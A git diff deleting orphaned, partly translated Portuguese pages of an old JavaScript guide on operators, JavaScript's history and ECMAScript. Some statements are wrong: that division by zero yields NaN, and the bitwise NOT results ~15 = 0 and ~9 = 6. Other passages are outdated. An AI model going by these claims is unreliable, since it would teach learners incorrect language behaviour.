diff --git a/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html b/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html deleted file mode 100644 index 0f1063a0b8..0000000000 --- a/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html +++ /dev/null @@ -1,833 +0,0 @@ ---- -title: Expressoes e Operadores -slug: orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores -original_slug: Web/JavaScript/Guia/Expressoes_e_Operadores ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}
-

Este capítulo descreve expressões e operadores JavaScript, incluindo atribuição, comparação, aritmética, bit a bit, lógico, string, e operadores especiais.

- -

Expressões

- -

Uma expressão é qualquer unidade de código válida que resolve um valor.

- -

Conceitualmente, há dois tipos de expressões: aqueles que atribui um valor para uma variável, e aqueles que simplesmente tem um valor. Por exemplo, a expressão x = 7 é uma expressão que atribui a x o valor sete. Esta expressão avalia-se a sete. Tais expressões usam operadores de atribuição. Por outro lado, a expressão de 3 + 4 simplesmente avalia a sete; ele não realiza uma atribuição. Os operadores usados ​​em tais expressões são referidos simplesmente como operadores.

- -

JavaScript tem os seguintes tipos de expressões:

- -
    -
  • Aritmética: resulta em um número, por exemplo 3,14159. (Generally uses {{ web.link("#Arithmetic_operators", "arithmetic operators") }}.)
  • -
  • String: avalia em uma cadeia de caracteres, por exemplo, "Fred" ou "234". (Generally uses {{ web.link("#String_operators", "string operators") }}.)
  • -
  • Logical: resulta em verdadeira (true em inglês) ou falsa (false em inglês). (Often involves {{ web.link("#Logical_operators", "logical operators") }}.)
  • -
  • Object: resulta como um objeto. (See {{ web.link("#Special_operators", "special operators") }} for various ones that evaluate to objects.)
  • -
- -

Operadores

- -

JavaScript tem os seguintes tipos de operadores. Esta seção descreve os operadores e contém informações sobre a precedência do operador.

- -
    -
  • {{ web.link("#Assignment_operators", "Assignment operators") }}
  • -
  • {{ web.link("#Comparison_operators", "Comparison operators") }}
  • -
  • {{ web.link("#Arithmetic_operators", "Arithmetic operators") }}
  • -
  • {{ web.link("#Bitwise_operators", "Bitwise operators") }}
  • -
  • {{ web.link("#Logical_operators", "Logical operators") }}
  • -
  • {{ web.link("#String_operators", "String operators") }}
  • -
  • {{ web.link("#Special_operators", "Special operators") }}
  • -
- -

JavaScript has both binary and unary operators, and one special ternary operator, the conditional operator. A binary operator requires two operands, one before the operator and one after the operator:

- -
operand1 operator operand2
-
- -

For example, 3+4 or x*y.

- -

A unary operator requires a single operand, either before or after the operator:

- -
operator operand
-
- -

or

- -
operand operator
-
- -

For example, x++ or ++x.

- -

Assignment operators

- -

An assignment operator assigns a value to its left operand based on the value of its right operand. The basic assignment operator is equal (=), which assigns the value of its right operand to its left operand. That is, x = y assigns the value of y to x.

- -

The other assignment operators are shorthand for standard operations, as shown in the following table.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.1 Assignment operators
Shorthand operatorMeaning
x += yx = x + y
x -= yx = x - y
x *= yx = x * y
x /= yx = x / y
x %= yx = x % y
x <<= yx = x << y
x >>= yx = x >> y
x >>>= yx = x >>> y
x &= yx = x & y
x ^= yx = x ^ y
x |= yx = x | y
- -

Comparison operators

- -

This seems to me kind of poorly explained, mostly the difference betwen "==" and "==="... A comparison operator compares its operands and returns a logical value based on whether the comparison is true. The operands can be numerical, string, logical, or object values. Strings are compared based on standard lexicographical ordering, using Unicode values. In most cases, if the two operands are not of the same type, JavaScript attempts to convert the operands to an appropriate type for the comparison. (The sole exceptions to this rule are === and !==, which perform "strict" equality and inequality and which do not attempt to convert the operands to compatible types before checking equality.) This generally results in a numerical comparison being performed. The following table describes the comparison operators, assuming the following code:

- -
var var1 = 3, var2 = 4;
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.2 Comparison operators
OperatorDescriptionExamples returning true
Equal (==)Returns true if the operands are equal.3 == var1 -

"3" == var1

- 3 == '3'
Not equal (!=)Returns true if the operands are not equal.var1 != 4
- var2 != "3"
Strict equal (===)Returns true if the operands are equal and of the same type.3 === var1
Strict not equal (!==)Returns true if the operands are not equal and/or not of the same type.var1 !== "3"
- 3 !== '3'
Greater than (>)Returns true if the left operand is greater than the right operand.var2 > var1
- "12" > 2
Greater than or equal (>=)Returns true if the left operand is greater than or equal to the right operand.var2 >= var1
- var1 >= 3
Less than (<)Returns true if the left operand is less than the right operand.var1 < var2
- "12" < "2"
Less than or equal (<=)Returns true if the left operand is less than or equal to the right operand.var1 <= var2
- var2 <= 5
- -

Arithmetic operators

- -

Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/). These operators work as they do in most other programming languages when used with floating point numbers (in particular, note that division by zero produces NaN). For example:

- -
console.log(1 / 2); /* prints 0.5 */
-console.log(1 / 2 == 1.0 / 2.0); /* also this is true */
-
- -

In addition, JavaScript provides the arithmetic operators listed in the following table.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.3 Arithmetic operators
OperatorDescriptionExample
%
- (Modulus)
Binary operator. Returns the integer remainder of dividing the two operands.12 % 5 returns 2.
++
- (Increment)
Unary operator. Adds one to its operand. If used as a prefix operator (++x), returns the value of its operand after adding one; if used as a postfix operator (x++), returns the value of its operand before adding one.If x is 3, then ++x sets x to 4 and returns 4, whereas x++ returns 3 and, only then, sets x to 4.
--
- (Decrement)
Unary operator. Subtracts one from its operand. The return value is analogous to that for the increment operator.If x is 3, then --x sets x to 2 and returns 2, whereas x-- returns 3 and, only then, sets x to 2.
-
- (Unary negation)
Unary operator. Returns the negation of its operand.If x is 3, then -x returns -3.
- -

Bitwise operators

- -

Bitwise operators treat their operands as a set of 32 bits (zeros and ones), rather than as decimal, hexadecimal, or octal numbers. For example, the decimal number nine has a binary representation of 1001. Bitwise operators perform their operations on such binary representations, but they return standard JavaScript numerical values.

- -

The following table summarizes JavaScript's bitwise operators.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.4 Bitwise operators
OperatorUsageDescription
Bitwise ANDa & bReturns a one in each bit position for which the corresponding bits of both operands are ones.
Bitwise ORa | bReturns a one in each bit position for which the corresponding bits of either or both operands are ones.
Bitwise XORa ^ bReturns a one in each bit position for which the corresponding bits of either but not both operands are ones.
Bitwise NOT~ aInverts the bits of its operand.
Left shifta << bShifts a in binary representation b bits to the left, shifting in zeros from the right.
Sign-propagating right shifta >> bShifts a in binary representation b bits to the right, discarding bits shifted off.
Zero-fill right shifta >>> bShifts a in binary representation b bits to the right, discarding bits shifted off, and shifting in zeros from the left.
- -

Bitwise logical operators

- -

Conceptually, the bitwise logical operators work as follows:

- -
    -
  • The operands are converted to thirty-two-bit integers and expressed by a series of bits (zeros and ones).
  • -
  • Each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
  • -
  • The operator is applied to each pair of bits, and the result is constructed bitwise.
  • -
- -

For example, the binary representation of nine is 1001, and the binary representation of fifteen is 1111. So, when the bitwise operators are applied to these values, the results are as follows:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.5 Bitwise operator examples
ExpressionResultBinary Description
15 & 991111 & 1001 = 1001
15 | 9151111 | 1001 = 1111
15 ^ 961111 ^ 1001 = 0110
~150~1111 = 0000
~96~1001 = 0110
- -

 

- -

Bitwise shift operators

- -

The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.

- -

Shift operators convert their operands to thirty-two-bit integers and return a result of the same type as the left operand.

- -

The shift operators are listed in the following table.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.6 Bitwise shift operators
OperatorDescriptionExample
<<
- (Left shift)
This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.9<<2 yields 36, because 1001 shifted 2 bits to the left becomes 100100, which is 36.
>>
- (Sign-propagating right shift)
This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left.9>>2 yields 2, because 1001 shifted 2 bits to the right becomes 10, which is 2. Likewise, -9>>2 yields -3, because the sign is preserved.
>>>
- (Zero-fill right shift)
This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left.19>>>2 yields 4, because 10011 shifted 2 bits to the right becomes 100, which is 4. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.
- -

Logical operators

- -

Logical operators are typically used with Boolean (logical) values; when they are, they return a Boolean value. However, the && and || operators actually return the value of one of the specified operands, so if these operators are used with non-Boolean values, they may return a non-Boolean value. The logical operators are described in the following table.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.6 Logical operators
OperatorUsageDescription
&&expr1 && expr2(Logical AND) Returns expr1 if it can be converted to false; otherwise, returns expr2. Thus, when used with Boolean values, && returns true if both operands are true; otherwise, returns false.
||expr1 || expr2(Logical OR) Returns expr1 if it can be converted to true; otherwise, returns expr2. Thus, when used with Boolean values, || returns true if either operand is true; if both are false, returns false.
!!expr(Logical NOT) Returns false if its single operand can be converted to true; otherwise, returns true.
- -

Examples of expressions that can be converted to false are those that evaluate to null, 0, the empty string (""), or undefined.

- -

The following code shows examples of the && (logical AND) operator.

- -
var a1 =  true && true;     // t && t returns true
-var a2 =  true && false;    // t && f returns false
-var a3 = false && true;     // f && t returns false
-var a4 = false && (3 == 4); // f && f returns false
-var a5 = "Cat" && "Dog";    // t && t returns Dog
-var a6 = false && "Cat";    // f && t returns false
-var a7 = "Cat" && false;    // t && f returns false
-
- -

The following code shows examples of the || (logical OR) operator.

- -
var o1 =  true || true;     // t || t returns true
-var o2 = false || true;     // f || t returns true
-var o3 =  true || false;    // t || f returns true
-var o4 = false || (3 == 4); // f || f returns false
-var o5 = "Cat" || "Dog";    // t || t returns Cat
-var o6 = false || "Cat";    // f || t returns Cat
-var o7 = "Cat" || false;    // t || f returns Cat
-
- -

The following code shows examples of the ! (logical NOT) operator.

- -
var n1 = !true;  // !t returns false
-var n2 = !false; // !f returns true
-var n3 = !"Cat"; // !t returns false
-
- -

Short-circuit evaluation

- -

As logical expressions are evaluated left to right, they are tested for possible "short-circuit" evaluation using the following rules:

- -
    -
  • false && anything is short-circuit evaluated to false.
  • -
  • true || anything is short-circuit evaluated to true.
  • -
- -

The rules of logic guarantee that these evaluations are always correct. Note that the anything part of the above expressions is not evaluated, so any side effects of doing so do not take effect.

- -

String operators

- -

In addition to the comparison operators, which can be used on string values, the concatenation operator (+) concatenates two string values together, returning another string that is the union of the two operand strings. For example, "my " + "string" returns the string "my string".

- -

The shorthand assignment operator += can also be used to concatenate strings. For example, if the variable mystring has the value "alpha", then the expression mystring += "bet" evaluates to "alphabet" and assigns this value to mystring.

- -

Special operators

- -

JavaScript provides the following special operators:

- -
    -
  • {{ web.link("#Conditional_operator", "Conditional operator") }}
  • -
  • {{ web.link("#Comma_operator", "Comma operator") }}
  • -
  • {{ web.link("#delete", "delete") }}
  • -
  • {{ web.link("#in", "in") }}
  • -
  • {{ web.link("#instanceof", "instanceof") }}
  • -
  • {{ web.link("#new", "new") }}
  • -
  • {{ web.link("#this", "this") }}
  • -
  • {{ web.link("#typeof", "typeof") }}
  • -
  • {{ web.link("#void", "void") }}
  • -
- -

Conditional operator

- -

The conditional operator is the only JavaScript operator that takes three operands. The operator can have one of two values based on a condition. The syntax is:

- -
condition ? val1 : val2
-
- -

If condition is true, the operator has the value of val1. Otherwise it has the value of val2. You can use the conditional operator anywhere you would use a standard operator.

- -

For example,

- -
var status = (age >= 18) ? "adult" : "minor";
-
- -

This statement assigns the value "adult" to the variable status if age is eighteen or more. Otherwise, it assigns the value "minor" to status.

- -

Comma operator

- -

The comma operator (,) simply evaluates both of its operands and returns the value of the second operand. This operator is primarily used inside a for loop, to allow multiple variables to be updated each time through the loop.

- -

For example, if a is a 2-dimensional array with 10 elements on a side, the following code uses the comma operator to increment two variables at once. The code prints the values of the diagonal elements in the array:

- -
for (var i = 0, j = 9; i <= 9; i++, j--)
-  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
-
- -

delete

- -

The delete operator deletes an object, an object's property, or an element at a specified index in an array. The syntax is:

- -
delete objectName;
-delete objectName.property;
-delete objectName[index];
-delete property; // legal only within a with statement
-
- -

where objectName is the name of an object, property is an existing property, and index is an integer representing the location of an element in an array.

- -

The fourth form is legal only within a with statement, to delete a property from an object.

- -

You can use the delete operator to delete variables declared implicitly but not those declared with the var statement.

- -

If the delete operator succeeds, it sets the property or element to undefined. The delete operator returns true if the operation is possible; it returns false if the operation is not possible.

- -
x = 42;
-var y = 43;
-myobj = new Number();
-myobj.h = 4;    // create property h
-delete x;       // returns true (can delete if declared implicitly)
-delete y;       // returns false (cannot delete if declared with var)
-delete Math.PI; // returns false (cannot delete predefined properties)
-delete myobj.h; // returns true (can delete user-defined properties)
-delete myobj;   // returns true (can delete if declared implicitly)
-
- -
Deleting array elements
- -

When you delete an array element, the array length is not affected. For example, if you delete a[3], a[4] is still a[4] and a[3] is undefined.

- -

When the delete operator removes an array element, that element is no longer in the array. In the following example, trees[3] is removed with delete. However, trees[3] is still addressable and returns undefined.

- -
var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
-delete trees[3];
-if (3 in trees) {
-  // this does not get executed
-}
-
- -

If you want an array element to exist but have an undefined value, use the undefined keyword instead of the delete operator. In the following example, trees[3] is assigned the value undefined, but the array element still exists:

- -
var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
-trees[3] = undefined;
-if (3 in trees) {
-  // this gets executed
-}
-
- -

in

- -

The in operator returns true if the specified property is in the specified object. The syntax is:

- -
propNameOrNumber in objectName
-
- -

where propNameOrNumber is a string or numeric expression representing a property name or array index, and objectName is the name of an object.

- -

The following examples show some uses of the in operator.

- -
// Arrays
-var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
-0 in trees;        // returns true
-3 in trees;        // returns true
-6 in trees;        // returns false
-"bay" in trees;    // returns false (you must specify the index number,
-                   // not the value at that index)
-"length" in trees; // returns true (length is an Array property)
-
-// Predefined objects
-"PI" in Math;          // returns true
-var myString = new String("coral");
-"length" in myString;  // returns true
-
-// Custom objects
-var mycar = {make: "Honda", model: "Accord", year: 1998};
-"make" in mycar;  // returns true
-"model" in mycar; // returns true
-
- -

instanceof

- -

The instanceof operator returns true if the specified object is of the specified object type. The syntax is:

- -
objectName instanceof objectType
-
- -

where objectName is the name of the object to compare to objectType, and objectType is an object type, such as Date or Array.

- -

Use instanceof when you need to confirm the type of an object at runtime. For example, when catching exceptions, you can branch to different exception-handling code depending on the type of exception thrown.

- -

For example, the following code uses instanceof to determine whether theDay is a Date object. Because theDay is a Date object, the statements in the if statement execute.

- -
var theDay = new Date(1995, 12, 17);
-if (theDay instanceof Date) {
-  // statements to execute
-}
-
- -

new

- -

You can use the new operator to create an instance of a user-defined object type or of one of the predefined object types Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp, or String. On the server, you can also use it with DbPool, Lock, File, or SendMail. Use new as follows:

- -
var objectName = new objectType([param1, param2, ..., paramN]);
-
- -

You can also create objects using object initializers, as described in {{ web.link("Working_with_objects#Using_object_initializers", "using object initializers") }}.

- -

See the new operator page in the Core JavaScript Reference for more information.

- -

this

- -

Use the this keyword to refer to the current object. In general, this refers to the calling object in a method. Use this as follows:

- -
this["propertyName"]
-
- -
this.propertyName
-
- -

Example 1.
- Suppose a function called validate validates an object's value property, given the object and the high and low values:

- -
function validate(obj, lowval, hival){
-  if ((obj.value < lowval) || (obj.value > hival))
-    alert("Invalid Value!");
-}
-
- -

You could call validate in each form element's onChange event handler, using this to pass it the form element, as in the following example:

- -
<B>Enter a number between 18 and 99:</B>
-<INPUT TYPE="text" NAME="age" SIZE=3
-   onChange="validate(this, 18, 99);">
-
- -

Example 2.
- When combined with the form property, this can refer to the current object's parent form. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm.

- -
<FORM NAME="myForm">
-Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
-<P>
-<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
-   onClick="this.form.text1.value = this.form.name;">
-</FORM>
-
- -

typeof

- -

The typeof operator is used in either of the following ways:

- -
    -
  1. -
    typeof operand
    -
    -
  2. -
  3. -
    typeof (operand)
    -
    -
  4. -
- -

The typeof operator returns a string indicating the type of the unevaluated operand. operand is the string, variable, keyword, or object for which the type is to be returned. The parentheses are optional.

- -

Suppose you define the following variables:

- -
var myFun = new Function("5 + 2");
-var shape = "round";
-var size = 1;
-var today = new Date();
-
- -

The typeof operator returns the following results for these variables:

- -
typeof myFun;     // returns "function"
-typeof shape;     // returns "string"
-typeof size;      // returns "number"
-typeof today;     // returns "object"
-typeof dontExist; // returns "undefined"
-
- -

For the keywords true and null, the typeof operator returns the following results:

- -
typeof true; // returns "boolean"
-typeof null; // returns "object"
-
- -

For a number or string, the typeof operator returns the following results:

- -
typeof 62;            // returns "number"
-typeof 'Hello world'; // returns "string"
-
- -

For property values, the typeof operator returns the type of value the property contains:

- -
typeof document.lastModified; // returns "string"
-typeof window.length;         // returns "number"
-typeof Math.LN2;              // returns "number"
-
- -

For methods and functions, the typeof operator returns results as follows:

- -
typeof blur;        // returns "function"
-typeof eval;        // returns "function"
-typeof parseInt;    // returns "function"
-typeof shape.split; // returns "function"
-
- -

For predefined objects, the typeof operator returns results as follows:

- -
typeof Date;     // returns "function"
-typeof Function; // returns "function"
-typeof Math;     // returns "object"
-typeof Option;   // returns "function"
-typeof String;   // returns "function"
-
- -

void

- -

The void operator is used in either of the following ways:

- -
    -
  1. -
    void (expression)
    -
    -
  2. -
  3. -
    void expression
    -
    -
  4. -
- -

The void operator specifies an expression to be evaluated without returning a value. expression is a JavaScript expression to evaluate. The parentheses surrounding the expression are optional, but it is good style to use them.

- -

You can use the void operator to specify an expression as a hypertext link. The expression is evaluated but is not loaded in place of the current document.

- -

The following code creates a hypertext link that does nothing when the user clicks it. When the user clicks the link, void(0) evaluates to undefined, which has no effect in JavaScript.

- -
<A HREF="javascript:void(0)">Click here to do nothing</A>
-
- -

The following code creates a hypertext link that submits a form when the user clicks it.

- -
<A HREF="javascript:void(document.form.submit())">
-Click here to submit</A>
- -

Operator precedence

- -

The precedence of operators determines the order they are applied when evaluating an expression. You can override operator precedence by using parentheses.

- -

The following table describes the precedence of operators, from highest to lowest.

- -

In accordance with relevant discussion, this table was reversed to list operators in decreasing order of priority.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 3.7 Operator precedence
Operator typeIndividual operators
member. []
call / create instance() new
negation/increment! ~ - + ++ -- typeof void delete
multiply/divide* / %
addition/subtraction+ -
bitwise shift<< >> >>>
relational< <= > >= in instanceof
equality== != === !==
bitwise-and&
bitwise-xor^
bitwise-or|
logical-and&&
logical-or||
conditional?:
assignment= += -= *= /= %= <<= >>= >>>= &= ^= |=
comma,
- -

A more detailed version of this table, complete with links to additional details about each operator, may be found in JavaScript Reference.

diff --git "a/files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" "b/files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" deleted file mode 100644 index e6dbe68c30..0000000000 --- "a/files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Introdução ao JavaScript -slug: orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript -original_slug: Web/JavaScript/Guia/Introdução_ao_JavaScript ---- -

Este capítulo introduz o JavaScript e discute alguns de seus conceitos fundamentais.

-

O que é o JavaScript?

-

O JavaScript é uma linguagem de script multiplataforma, orientada a objetos. O JavaScript é uma linguagem pequena e leve; não é útil como uma linguagem de uso isolado, mas é projetada para fácil integração em outros produtos e aplicações, tais como navegadores web. Dentro de um ambiente de hospedagem, o JavaScript pode ser conectado aos objetos de seu ambiente para proporcionar um controle programático sobre elas.

-

O núcleo do JavaScript contém um  núcleo de objetos, como Array, Date, e Math, e um núcleo de elementos de linguagem como operadores, estruturas de controle, e declarações. O núcleo do JavaScript pode ser extendido para uma variedade de propósitos complementando-o com objetos adicionais; por exemplo:

-
  • O lado do cliente no JavaScript extende o núcleo da linguagem fornecendo objetos para controlar um navegador (Navigator ou outro navegador web) e seu Document Object Model (DOM). Por exemplo, extensões para o lado do cliente permitem a uma aplicação colocar elementos em um formulário HTML e responder a eventos de usuários como cliques de mouse, entrada de dados e navegação na página.
  • O lado do servidor no JavaScript extende o núcleo da linguagem fornecendo objetos relevantes à execução de JavaScript no servidor. Por exemplo, extensões do lado do servidor permitem a uma aplicação comunicar-se com um banco de dados relacional, proporcionar continuidade de informação de uma invocação da aplicação para outra, ou executar manipulações de arquivos em um servidor.
  • -
-

Através da funcionalidade JavaScript's LiveConnect, pode-se permitir que códigos em Java e em JavaScript comuniquem-se. É possível instanciar objetos Java e acessar seus métodos e campos públicos a partir do JavaScript. A partir do Java, por sua vez, pode-se acessar objetos, propriedades e métodos do JavaScript.

-

O Netscape inventou o JavaScript e o JavaScript foi inicialmente usado em navegadores Netscape.

-

JavaScript e Java

-

O JavaScript e o Java são similares em algumas coisas, mas fundamentalmente diferentes em outras. A linguagem JavaScript assemelha-se ao Java, mas não possui a checagem de tipos forte e digitação estática do Java. O JavaScript suport a maioria das sintaxes de expressões em Java e um construtor básico de controles de fluxo.

-

Em contraste com o sistema em tempo de compilação do Java, de classes construídas por declarações, o JavaScript suporta um sistema de tempo de execução baseado em um pequeno número de tipos de dados representando números, booleanos, e valores de strings. O JavaScript possui um modelo de objetos baseado em protótipos, ao invés do mais comum, modelo de objetos baseado em classes. O modelo baseado em protótipos provê a herança dinâmica; isto é, o que é herdado pode variar para objetos individuais. O JavaScript também suporta funções sem requisições especiais de declaração. Funções podem ser propriedades de objetos, executando métodos fracamente tipados.

-

O JavaScript é uma linguagem com forma bastante livre comparada ao Java. Você não precisa declarar todas as variáveis, classes e métodos. Você não precisa se preocupar se os métodos são públicos, privados ou protegidos, e você não precisa implementar interfaces. Tipos de variáveis, parâmetros e retornos de funções não são explicitados.

-

O Java é uma linguagem de programação baseada em classes e projetava para rápida execução e tipagem segura. Tipagem segura significa, por exemplo, que você não pode converter um inteiro do Java para uma referência de um objeto ou acessar a memória privada, corrompendo bytecodes do Java. O modelo baseado em classes do Java significa que o programa consiste exclusivamente de classes e seus métodos. A herança das classes no Java e a tipagem forte, geralmente requerem objetos com hierarquias firmemente acopladas. Estes requisitos fazem do Java uma linguagem de programação mais complexa que a autoria do JavaScript.

-

Em contraste, o JavaScript descende em espírito de uma linha menor, linguagens tipadas dinamicamente, tais como HyperTalk e dBASE. Estas linguagens de stript oferecem ferramentas de programação para um público muito maior, devido a simplicidade de sua sintaxe, funcionalidades especializadas integradas e requisitos mínimos para criação de objetos.

- -
Tabela 1.1 JavaScript em comparação ao Java
JavaScript Java
Orientação a objetos. Sem distinção entre tipos de objetos. A herança ocorre através do mecanismo de protótipos e os métodos e propriedades podem ser adicionados a qualquer objeto dinamicamente. Baseada em classes. Objetos são divididos em classes e instâncias com toda a herança através da hierarquia da classe. Classes e instâncias não podem ter métodos e propriedades adicionados dinamicamente.
Tipos de dados variáveis não são declarados (tipagem dinâmica). Tipos de dados variáveis precisam ser declarados (tipagem estática).
Não pode escrever automaticamente no disco rígido. Não pode escrever automaticamente no disco rígido.
-

Para mais informações sobre as diferenças entre o JavaScript e o Java, veja o capítulo Details of the Object Model.

JavaScript e a especificação ECMAScript

-

O Netscape inventou o JavaScript e o JavaScript foi primeiramente usado nos navegadores Netscape. Entretanto, a Netscape está trabalhando com a Ecma International — a associação européia para padronizão de informação e sistemas de comunicação (formalmente conhecida como ECMA - European Computer Manufacturers Association, em português: Associação de Fabricantes de Computadores Europeus) — para entregar uma linguagem de programação internacional padronizada, baseada no JavaScript. Esta versão padronizada do JavaScript, chamada de ECMAScript, comporta-se da mesma maneira em todas as aplicações que suportem o padrão. Empresas podem usar a linguagem padrão aberta para desenvolver sua implementação do JavaScript. O ECMAScript padrão é documentado na especificação ECMA-262.

-

O padrão ECMA-262 é também aprovado pela ISO (International Organization for Standardization, em português: Organização Internacional para Padronização) como ISO-16262. Você pode encontrar uma versão PDF do ECMA-262 (en) no site da Mozilla. Você pode também encontrar a especificação em the Ecma International website (en). A especificação do ECMAScript não descreve o Document Object Model (DOM), o qual é padronizado pelo World Wide Web Consortium (W3C). O DOM define a maneira com a qual os objetos do documento HTML são expostos ao seu script.

-

Relação entre as versões do JavaScript e as edições do ECMAScript

-

O Netscape trabalhou próximo a Ecma International para produzir a Especificação ECMAScript (ECMA-262). A tabela seguinte descreve a relação entre as versões do JavaScript e as edições do ECMAScript.

- -
Tabela 1.2 Versões do JavaScript e edições do ECMAScript
Versão do JavaScript Relação com a edição do ECMAScript
JavaScript 1.1 O ECMA-262, Edição 1 é baseado no JavaScript 1.1.
JavaScript 1.2 O ECMA-262 não estava completo quando o JavaScript 1.2 foi lançado. O JavaScript 1.2 não é totalmente compatível com o ECMA-262, Edição 1, pelas seguintes razões:
  • O Netscape desenvolveu características adicionais no JavaScript 1.2 que não foram consideradas no ECMA-262.
  • O ECMA-262 adiciona duas novas características: internacionalização usando Unicode e comportamento uniforme em todas as plataformas. Muitas características do JavaScript 1.2, tais com o objeto Date, eram dependentes de plataforma e usavam um comportamento específico da plataforma.

JavaScript 1.3

O JavaScript 1.3 é totalmente compatível com o ECMA-262, Edição 1.

O JavaScript 1.3 corrigiu as inconsistências que o JavaScript 1.2 tinha com o ECMA-262, mantendo todas as características adicionais do JavaScript 1.2 com a exceção de  == e !=, os quais foram mudados conforme o ECMA-262.

JavaScript 1.4

O JavaScript 1.4 é totalmente comatível com o ECMA-262, Edição 1.

A terceira versão da especificação ECMAScript não estava finalizada quando o JavaScript 1.4 foi lançado.

JavaScript 1.5 O JavaScript 1.5 é totalmente compatível com o ECMA-262, Edição 3.
-
Nota: O ECMA-262, Edição 2 consistiu de mudanças editoriais pequenas e correções de bugs da especificação da Edição 1. O grupo de trabalho TC39 da Ecma International está atualmente trabalhando no ECMAScript Edição 4, o qual corresponderá a um lançamento futuro do JavaScript, o JavaScript 2.0.
-

A Referência de JavaScript (en) indica quais características da linguagem estão em conformidade com o ECMAScript.

-

O JavaScript sempre permite incluir características que não fazem parte da Especificação do ECMAScript; O JavaScript é compatível com o ECMASCript; mesmo provendo características adicionais.

Documentação do JavaScript versus a especificação do ECMAScript

-

A especificação do ECMAScript é um conjunto de requisitos para a implementação do ECMAScript; ela é útil caso deseje-se determinar, se uma característica do JavaScript é suportada em outras implementações do ECMAScript. Caso planeje-se escrever código JavaScript usando somente características suportadas pelo ECMAScript, então é interessante checar a especificação ECMAScript.

-

O documento ECMAScript não pretende ajudar programadores de scripts; para informações sobre escrita de scripts, deve-se usar a documentação do JavaScript.

Terminologia do JavaScript e do ECMAScript

-

A especificação do ECMAScript utiliza a terminologia e sintaxe que pode ser desconhecida para um programador JavaScript. Embora a descrição da linguagem possa diferir, a linguagem em si, é a mesma. O JavaScript suporta todas as funcionalidades descritas na especificação ECMAScript.

-

A documentação do JavaScript descreve aspectos da linguagem que são apropriados para um programador JavaScript. Por exemplo:

-
  • O Objeto Global não é discutido na documentação do JavaScript porque ele não é usado diretamente. Os métodos e propriedades do Objeto Global, os quais são usados, são discutidos na documentação do JavaScript, mas são chamados de funções e propriedades de nível superior.
  • O construtor sem parâmetros (zero argumentos) com os objetos Number e String não é discutido na documentação do JavaScript, pois o gerado é pouco usado. Um construtor de Number sem nenhum argumento, retorna +0, e um construtor de String sem argumentos, retorna "" (uma string vazia).
  • -
-
autoPreviousNext("JSGChapters");
-wiki.languages({
-  "en": "en/JavaScript/Guide/JavaScript_Overview",
-  "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_de_JavaScript",
-  "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript",
-  "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview",
-  "ko": "ko/Core_JavaScript_1.5_Guide/JavaScript_Overview",
-  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Przegl\u0105d_JavaScriptu",
-  "zh-cn": "cn/Core_JavaScript_1.5_Guide/JavaScript\u603b\u89c8",
-  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要"
-});
diff --git a/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html b/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html deleted file mode 100644 index 1cc6f27559..0000000000 --- a/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Sobre este guia -slug: orphaned/Web/JavaScript/Guia/Sobre -original_slug: Web/JavaScript/Guia/Sobre ---- -

JavaScript é uma linguagem de scripts multiplataforma, baseada em objetos. Este guia explica tudo que é necessário saber sobre como utilizar o JavaScript.

- -

Novas caraterísticas em versões do JavaScript

- -
/* Nota: Para adicionar um link na descrição de uma nova versão do JavaScript,
-adicione o número da variável versionList abaixo. A página ligada deve
-residir em /en/JavaScript/New_in_JavaScript/N, onde N é o número da versão. */
-
